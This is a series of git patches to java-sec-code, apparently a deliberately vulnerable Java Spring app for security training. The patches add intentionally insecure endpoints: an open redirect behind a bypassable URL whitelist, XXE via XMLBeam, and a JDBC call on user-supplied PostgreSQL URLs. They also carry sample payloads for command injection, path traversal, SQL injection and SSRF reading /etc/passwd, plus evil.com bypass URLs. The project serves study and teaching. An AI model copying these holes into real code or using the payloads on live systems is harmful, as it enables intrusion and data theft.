     </properties>
 
 
@@ -312,6 +313,23 @@
             <version>3.27.0-GA</version>
         </dependency>
 
+        <dependency>
+            <groupId>org.springframework.data</groupId>
+            <artifactId>spring-data-commons</artifactId>
+            <version>1.13.11.RELEASE</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.jayway.jsonpath</groupId>
+            <artifactId>json-path</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.xmlbeam</groupId>
+            <artifactId>xmlprojector</artifactId>
+            <version>1.4.13</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 35d37576..156cc73d 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -6,7 +6,8 @@
 import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.*;
 
-import java.net.MalformedURLException;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
 import java.net.URL;
 import java.util.ArrayList;
 import java.util.regex.Matcher;
@@ -86,20 +87,21 @@ public String regex(@RequestParam("url") String url) {
 
 
     /**
-     * The bypass of using <code>java.net.URL</code> to getHost.
+     * The bypass of using {@link java.net.URL} to getHost.
      * <p>
-     * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
-     * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+     * <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5c@www.joychou.org/a.html">bypass 1</a>
+     * <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html">bypass 2</a>
+     *
      * <p>
-     * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass">More details</a>
      */
     @GetMapping("/vuln/url_bypass")
-    public String url_bypass(String url) throws MalformedURLException {
+    public void url_bypass(String url, HttpServletResponse res) throws IOException {
 
         logger.info("url:  " + url);
 
         if (!SecurityUtil.isHttp(url)) {
-            return "Url is not http or https";
+            return;
         }
 
         URL u = new URL(url);
@@ -109,11 +111,10 @@ public String url_bypass(String url) throws MalformedURLException {
         // endsWith .
         for (String domain : domainwhitelist) {
             if (host.endsWith("." + domain)) {
-                return "Good url.";
+                res.sendRedirect(url);
             }
         }
 
-        return "Bad url.";
     }
 
 
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 14b6a232..36372727 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -4,6 +4,9 @@
 import org.dom4j.io.SAXReader;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
+import org.springframework.data.web.ProjectedPayload;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.*;
 
 import javax.servlet.http.HttpServletRequest;
@@ -27,6 +30,7 @@
 import org.apache.commons.digester3.Digester;
 import org.jdom2.input.SAXBuilder;
 import org.joychou.util.WebUtils;
+import org.xmlbeam.annotation.XBRead;
 
 /**
  * Java xxe vuln and security code.
@@ -38,8 +42,8 @@
 @RequestMapping("/xxe")
 public class XXE {
 
-    private static Logger logger = LoggerFactory.getLogger(XXE.class);
-    private static String EXCEPT = "xxe except";
+    private static final Logger logger = LoggerFactory.getLogger(XXE.class);
+    private static final String EXCEPT = "xxe except";
 
     @PostMapping("/xmlReader/vuln")
     public String xmlReaderVuln(HttpServletRequest request) {
@@ -226,16 +230,15 @@ public String DigesterSec(HttpServletRequest request) {
     }
 
 
-    // 有回显
-    @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
+    /**
+     * Use request.getInputStream to support UTF16 encoding.
+     */
+    @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
     public String DocumentBuilderVuln01(HttpServletRequest request) {
         try {
-            String body = WebUtils.getRequestBody(request);
-            logger.info(body);
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(body);
-            InputSource is = new InputSource(sr);
+            InputSource is = new InputSource(request.getInputStream());
             Document document = db.parse(is);  // parse xml
 
             // 遍历xml节点name和value
@@ -249,7 +252,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) {
                     buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                 }
             }
-            sr.close();
             return buf.toString();
         } catch (Exception e) {
             e.printStackTrace();
@@ -258,43 +260,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) {
         }
     }
 
-
-    // 有回显
-    @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
-    public String DocumentBuilderVuln02(HttpServletRequest request) {
-        try {
-            String body = WebUtils.getRequestBody(request);
-            logger.info(body);
-
-            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-            DocumentBuilder db = dbf.newDocumentBuilder();
-            StringReader sr = new StringReader(body);
-            InputSource is = new InputSource(sr);
-            Document document = db.parse(is);  // parse xml
-
-            // 遍历xml节点name和value
-            StringBuilder result = new StringBuilder();
-            NodeList rootNodeList = document.getChildNodes();
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList child = rootNode.getChildNodes();
-                for (int j = 0; j < child.getLength(); j++) {
-                    Node node = child.item(j);
-                    // 正常解析XML，需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
-                    if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
-                        result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
-                    }
-                }
-            }
-            sr.close();
-            return result.toString();
-        } catch (Exception e) {
-            logger.error(e.toString());
-            return EXCEPT;
-        }
-    }
-
-
     @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
     public String DocumentBuilderSec(HttpServletRequest request) {
         try {
@@ -447,6 +412,31 @@ private static void response(NodeList rootNodeList){
         }
     }
 
+        /**
+         * Receiving POST requests supporting both JSON and XML.
+         * CVE-2018-1259
+         */
+        @PostMapping(value = "/xmlbeam/vuln")
+        HttpEntity<String> post(@RequestBody UserPayload user) {
+            try {
+                logger.info(user.toString());
+                return ResponseEntity.ok(String.format("hello, %s!", user.getUserName()));
+            }catch (Exception e){
+                e.printStackTrace();
+                return ResponseEntity.ok("error");
+            }
+        }
+
+        /**
+         * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload.
+         */
+        @ProjectedPayload
+        public interface UserPayload {
+            @XBRead("//userName")
+            String getUserName();
+        }
+
+
     public static void main(String[] args)  {
     }
 
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 70f744ad..71abc91e 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -157,7 +157,6 @@ public static boolean isInternalIp(String strIP) {
      * <p>Normal:</p>
      * <ul>
      *    <li>69299689 to 10.23.78.233</li>
-     *    <li>69299689 to 10.23.78.233 </li>
      *    <li>012.0x17.78.233 to 10.23.78.233 </li>
      *    <li>012.027.0116.0351 to 10.23.78.233</li>
      *    <li>127.0.0.1.xip.io to 127.0.0.1</li>
@@ -166,8 +165,10 @@ public static boolean isInternalIp(String strIP) {
 
      * <p>Bypass: </p>
      * <ul>
-     *     <li>01205647351 to 71.220.183.247, actually 10.23.78.233</li>
-     *     <li>012.23.78.233 to 12.23.78.233, actually 10.23.78.233</li>
+     *     <li>01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233</li>
+     *     <li>012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233</li>
+     *     <li>012.23.233 {@link InetAddress#getHostAddress()} result is  12.23.0.233, actually 10.23.0.233</li>
+     *     <li>012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233</li>
      * </ul>
      * @return decimal ip
      */
@@ -177,13 +178,14 @@ public static String host2ip(String host) {
             return "";
         }
 
-        // convert octal to decimal
+         // convert octal to decimal
          if(isOctalIP(host)) {
              host = decimalIp;
          }
 
         try {
-            InetAddress IpAddress = InetAddress.getByName(host); //  send dns request
+            // send dns request
+            InetAddress IpAddress = InetAddress.getByName(host);
             return IpAddress.getHostAddress();
         } catch (Exception e) {
             return "";
@@ -203,30 +205,31 @@ public static boolean isOctalIP(String host) {
         // Octal ip only has number and dot character.
         if (isNumberOrDot(host)) {
 
-            if (ipParts.length != 1 && ipParts.length != 4) {
-                return false;
+            // not support ipv6
+            if (ipParts.length > 4) {
+                throw new SSRFException("Illegal ipv4: " + host);
             }
 
-            // 000000001205647351
+            // 01205647351
             if( ipParts.length == 1 && host.startsWith("0") ) {
                 decimalIp = Integer.valueOf(host, 8).toString();
                 return true;
             }
 
-            // 0000012.23.78.233
+            // 012.23.78.233
             for(String ip : ipParts) {
                 if (!isNumber(ip)){
-                    throw new SSRFException("Illegal host: " + host + ".");
+                    throw new SSRFException("Illegal ipv4: " + host);
                 }
                 if (ip.startsWith("0")) {
                     if (Integer.valueOf(ip, 8) >= 256){
-                        throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255.");
+                        throw new SSRFException("Illegal ipv4: " + host);
                     }
                     newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
                     is_octal = true;
                 }else{
                     if (Integer.valueOf(ip, 10) >= 256) {
-                        throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255.");
+                        throw new SSRFException("Illegal ipv4: " + host);
                     }
                     newDecimalIP.append(ip).append(".");
                 }
@@ -246,7 +249,7 @@ private static boolean isNumber(String str) {
         }
         for (int i = 0; i < str.length(); i++) {
             char ch = str.charAt(i);
-            if (ch < 48 || ch > 57) {
+            if (ch < '0' || ch > '9') {
                 return false;
             }
         }
@@ -261,7 +264,7 @@ private static boolean isNumber(String str) {
     private static boolean isNumberOrDot(String s) {
         for (int i = 0; i < s.length(); i++) {
             char ch = s.charAt(i);
-            if ((ch < 48 || ch > 57) && ch != 46){
+            if ((ch < '0' || ch > '9') && ch != '.'){
                 return false;
             }
         }
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 2c248b29..c1eac95c 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -94,7 +94,6 @@ public static String URLConnection(String url) {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
             BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
-            // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
             String inputLine;
             StringBuilder html = new StringBuilder();
 
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 4816df8e..0445f310 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -2,9 +2,7 @@
 
 import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
+import java.io.*;
 
 import com.google.common.base.Preconditions;
 import org.springframework.web.util.HtmlUtils;
@@ -17,7 +15,6 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti
         return convertStreamToString(in);
     }
 
-
     // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
     public static String convertStreamToString(java.io.InputStream is) {
         java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");

From cab74a4eaaf4ec18433336c25afcea3fa390761b Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 24 Mar 2023 17:51:29 +0800
Subject: [PATCH 32/38] fix #70

---
 java-sec-code.iml                             |  4 +-
 pom.xml                                       |  9 +++-
 src/main/java/org/joychou/controller/Rce.java | 14 ++++++
 src/main/java/org/joychou/controller/XXE.java |  2 +-
 src/main/resources/templates/index.html       | 44 +++++++++----------
 5 files changed, 48 insertions(+), 25 deletions(-)

diff --git a/java-sec-code.iml b/java-sec-code.iml
index a20476ae..6946c265 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -212,7 +212,7 @@
     <orderEntry type="library" name="Maven: org.springframework.plugin:spring-plugin-metadata:1.2.0.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
     <orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.16" level="project" />
+    <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.20" level="project" />
     <orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.21" level="project" />
     <orderEntry type="library" name="Maven: org.springframework:spring-test:4.3.6.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: junit:junit:4.12" level="project" />
@@ -228,5 +228,7 @@
     <orderEntry type="library" name="Maven: net.minidev:json-smart:2.2.1" level="project" />
     <orderEntry type="library" name="Maven: net.minidev:accessors-smart:1.1" level="project" />
     <orderEntry type="library" name="Maven: org.xmlbeam:xmlprojector:1.4.13" level="project" />
+    <orderEntry type="library" name="Maven: org.postgresql:postgresql:42.3.1" level="project" />
+    <orderEntry type="library" scope="RUNTIME" name="Maven: org.checkerframework:checker-qual:3.5.0" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 9ee03372..8da3449d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -260,7 +260,7 @@
         <dependency>
             <groupId>org.projectlombok</groupId>
             <artifactId>lombok</artifactId>
-            <version>1.18.16</version>
+            <version>1.18.20</version>
             <scope>provided</scope>
         </dependency>
 
@@ -330,6 +330,13 @@
             <version>1.4.13</version>
         </dependency>
 
+        <!-- CVE-2022-21724 -->
+        <dependency>
+            <groupId>org.postgresql</groupId>
+            <artifactId>postgresql</artifactId>
+            <version>42.3.1</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 6d6a3417..a87a9672 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,6 +1,7 @@
 package org.joychou.controller;
 
 import groovy.lang.GroovyShell;
+import lombok.extern.slf4j.Slf4j;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
@@ -14,6 +15,7 @@
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
+import java.sql.DriverManager;
 
 
 /**
@@ -21,6 +23,7 @@
  *
  * @author JoyChou @ 2018-05-24
  */
+@Slf4j
 @RestController
 @RequestMapping("/rce")
 public class Rce {
@@ -128,5 +131,16 @@ public void groovyshell(String content) {
         groovyShell.evaluate(content);
     }
 
+    /**
+     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
+     */
+    @RequestMapping("/postgresql")
+    public void postgresql(String jdbcUrlBase64) throws Exception{
+        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+        String jdbcUrl = new String(b);
+        log.info(jdbcUrl);
+        DriverManager.getConnection(jdbcUrl);
+    }
+
 }
 
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 36372727..08f3073e 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -234,7 +234,7 @@ public String DigesterSec(HttpServletRequest request) {
      * Use request.getInputStream to support UTF16 encoding.
      */
     @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
-    public String DocumentBuilderVuln01(HttpServletRequest request) {
+    public String DocumentBuilderVuln(HttpServletRequest request) {
         try {
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 8511d5fd..057aa067 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -5,29 +5,29 @@
     <title>Home Page</title>
 </head>
 <body>
-    <p>Hello <span th:text="${user}"></span>.</p>
-    <p>Welcome to login java-sec-code application. <a th:href="@{/appInfo}">Application Infomation</a></p>
-    <p>
-        <a th:href="@{/swagger-ui.html}">Swagger</a>&nbsp;&nbsp;
-        <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
-        <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
-        <a th:href="@{/file/pic}">Picture Upload</a>&nbsp;&nbsp;
-        <a th:href="@{/file/any}">File Upload</a>&nbsp;&nbsp;
-        <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
-        <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
-        <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
-        <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
-        <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
-        <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
-        <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
-    </p>
+<p>Hello <span th:text="${user}"></span>.</p>
+<p>Welcome to login java-sec-code application. <a th:href="@{/appInfo}">Application Infomation</a></p>
+<p>
+    <a th:href="@{/swagger-ui.html}">Swagger</a>&nbsp;&nbsp;
+    <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
+    <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
+    <a th:href="@{/file/pic}">Picture Upload</a>&nbsp;&nbsp;
+    <a th:href="@{/file/any}">File Upload</a>&nbsp;&nbsp;
+    <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
+    <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
+    <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
+    <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
+    <a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
+    <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
+    <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
+</p>
 
-    <P>
-        <a th:href="@{/jwt/createToken}">JWTCreateToken</a>
-        <a th:href="@{/jwt/getName}">GetUserFromJWTToken</a>
-    </P>
-    <p>...</p>
-    <a th:href="@{/logout}">logout</a>
+<P>
+    <a th:href="@{/jwt/createToken}">JWTCreateToken</a>
+    <a th:href="@{/jwt/getName}">GetUserFromJWTToken</a>
+</P>
+<p>...</p>
+<a th:href="@{/logout}">logout</a>
 
 </body>
 </html>
\ No newline at end of file

From 4ede83ab929b53c8ad600e1a63c961433e82a97d Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 28 Apr 2023 11:28:50 +0800
Subject: [PATCH 33/38] add jdbc & actuator ak_secret

---
 java-sec-code.iml                             | 228 +-----------------
 pom.xml                                       |   7 +
 .../java/org/joychou/controller/Jdbc.java     |  36 +++
 .../java/org/joychou/controller/Log4j.java    |   5 +
 src/main/java/org/joychou/controller/Rce.java |  17 +-
 src/main/java/org/joychou/controller/XXE.java |   2 +-
 .../joychou/security/ssrf/SSRFChecker.java    |  77 +++---
 src/main/resources/application.properties     |   5 +-
 src/main/resources/templates/index.html       |   1 +
 9 files changed, 104 insertions(+), 274 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/Jdbc.java

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 6946c265..1daccaec 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,234 +1,8 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
+<module version="4">
   <component name="FacetManager">
     <facet type="Spring" name="Spring">
       <configuration />
     </facet>
-    <facet type="web" name="Web">
-      <configuration>
-        <webroots>
-          <root url="file://$MODULE_DIR$/src/main/webapp" relative="/" />
-        </webroots>
-      </configuration>
-    </facet>
-  </component>
-  <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
-    <output url="file://$MODULE_DIR$/target/classes" />
-    <output-test url="file://$MODULE_DIR$/target/test-classes" />
-    <content url="file://$MODULE_DIR$">
-      <sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
-      <sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
-      <excludeFolder url="file://$MODULE_DIR$/target" />
-    </content>
-    <orderEntry type="inheritedJdk" />
-    <orderEntry type="sourceFolder" forTests="false" />
-    <orderEntry type="module-library">
-      <library>
-        <CLASSES>
-          <root url="jar://$USER_HOME$/Desktop/challenge-0.0.1-SNAPSHOT.jar!/" />
-        </CLASSES>
-        <JAVADOC />
-        <SOURCES />
-      </library>
-    </orderEntry>
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-web:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-autoconfigure:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-logging:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.1.9" level="project" />
-    <orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.1.9" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.slf4j:log4j-over-slf4j:1.7.22" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-tomcat:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat:tomcat-annotations-api:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-websocket:8.5.85" level="project" />
-    <orderEntry type="library" name="Maven: org.hibernate:hibernate-validator:5.3.4.Final" level="project" />
-    <orderEntry type="library" name="Maven: javax.validation:validation-api:1.1.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: org.jboss.logging:jboss-logging:3.3.0.Final" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.8.6" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.8.0" level="project" />
-    <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.8.6" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-web:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework:spring-webmvc:4.3.6.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-thymeleaf:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf-spring4:2.1.5.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.thymeleaf:thymeleaf:2.1.5.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: ognl:ognl:3.0.8" level="project" />
-    <orderEntry type="library" name="Maven: org.unbescape:unbescape:1.1.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: nz.net.ultraq.thymeleaf:thymeleaf-layout-dialect:1.4.0" level="project" />
-    <orderEntry type="library" name="Maven: org.codehaus.groovy:groovy:2.4.7" level="project" />
-    <orderEntry type="library" name="Maven: mysql:mysql-connector-java:8.0.12" level="project" />
-    <orderEntry type="library" name="Maven: com.google.protobuf:protobuf-java:2.6.0" level="project" />
-    <orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.24" level="project" />
-    <orderEntry type="library" name="Maven: org.jdom:jdom2:2.0.6" level="project" />
-    <orderEntry type="library" name="Maven: org.dom4j:dom4j:2.1.0" level="project" />
-    <orderEntry type="library" name="Maven: jaxen:jaxen:1.1.6" level="project" />
-    <orderEntry type="library" name="Maven: com.google.guava:guava:23.0" level="project" />
-    <orderEntry type="library" name="Maven: com.google.code.findbugs:jsr305:1.3.9" level="project" />
-    <orderEntry type="library" name="Maven: com.google.errorprone:error_prone_annotations:2.0.18" level="project" />
-    <orderEntry type="library" name="Maven: com.google.j2objc:j2objc-annotations:1.1" level="project" />
-    <orderEntry type="library" name="Maven: org.codehaus.mojo:animal-sniffer-annotations:1.14" level="project" />
-    <orderEntry type="library" name="Maven: commons-collections:commons-collections:3.1" level="project" />
-    <orderEntry type="library" name="Maven: commons-lang:commons-lang:2.4" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.5.12" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpcore:4.4.6" level="project" />
-    <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.10" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.httpcomponents:fluent-hc:4.3.6" level="project" />
-    <orderEntry type="library" name="Maven: commons-logging:commons-logging:1.1.3" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.9.1" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.9.1" level="project" />
-    <orderEntry type="library" name="Maven: com.squareup.okhttp:okhttp:2.5.0" level="project" />
-    <orderEntry type="library" name="Maven: com.squareup.okio:okio:1.6.0" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.commons:commons-digester3:3.2" level="project" />
-    <orderEntry type="library" name="Maven: cglib:cglib:2.2.2" level="project" />
-    <orderEntry type="library" name="Maven: asm:asm:3.3.1" level="project" />
-    <orderEntry type="library" name="Maven: org.jolokia:jolokia-core:1.6.0" level="project" />
-    <orderEntry type="library" name="Maven: com.googlecode.json-simple:json-simple:1.1.1" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-actuator:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-actuator:1.5.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-starter-netflix-eureka-client:1.4.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-starter:1.1.3.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-context:1.1.3.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.security:spring-security-crypto:4.2.1.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-commons:1.1.3.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.security:spring-security-rsa:1.0.3.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.bouncycastle:bcpkix-jdk15on:1.55" level="project" />
-    <orderEntry type="library" name="Maven: org.bouncycastle:bcprov-jdk15on:1.55" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-netflix-core:1.2.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: org.springframework.cloud:spring-cloud-netflix-eureka-client:1.2.0.RELEASE" level="project" />
-    <orderEntry type="library" name="Maven: com.netflix.eureka:eureka-client:1.4.11" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.jettison:jettison:1.3.7" level="project" />
-    <orderEntry type="library" name="Maven: stax:stax-api:1.0.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.netflix-commons:netflix-eventbus:0.3.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.netflix.netflix-commons:netflix-infix:0.3.0" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: commons-jxpath:commons-jxpath:1.3" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: joda-time:joda-time:2.9.7" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.antlr:antlr-runtime:3.4" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: org.antlr:stringtemplate:3.2.1" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: antlr:antlr:2.7.7" level="project" />
-    <orderEntry type="library" scope="RUNTIME" name="Maven: com.google.code.gson:gson:2.8.0" level="project" />
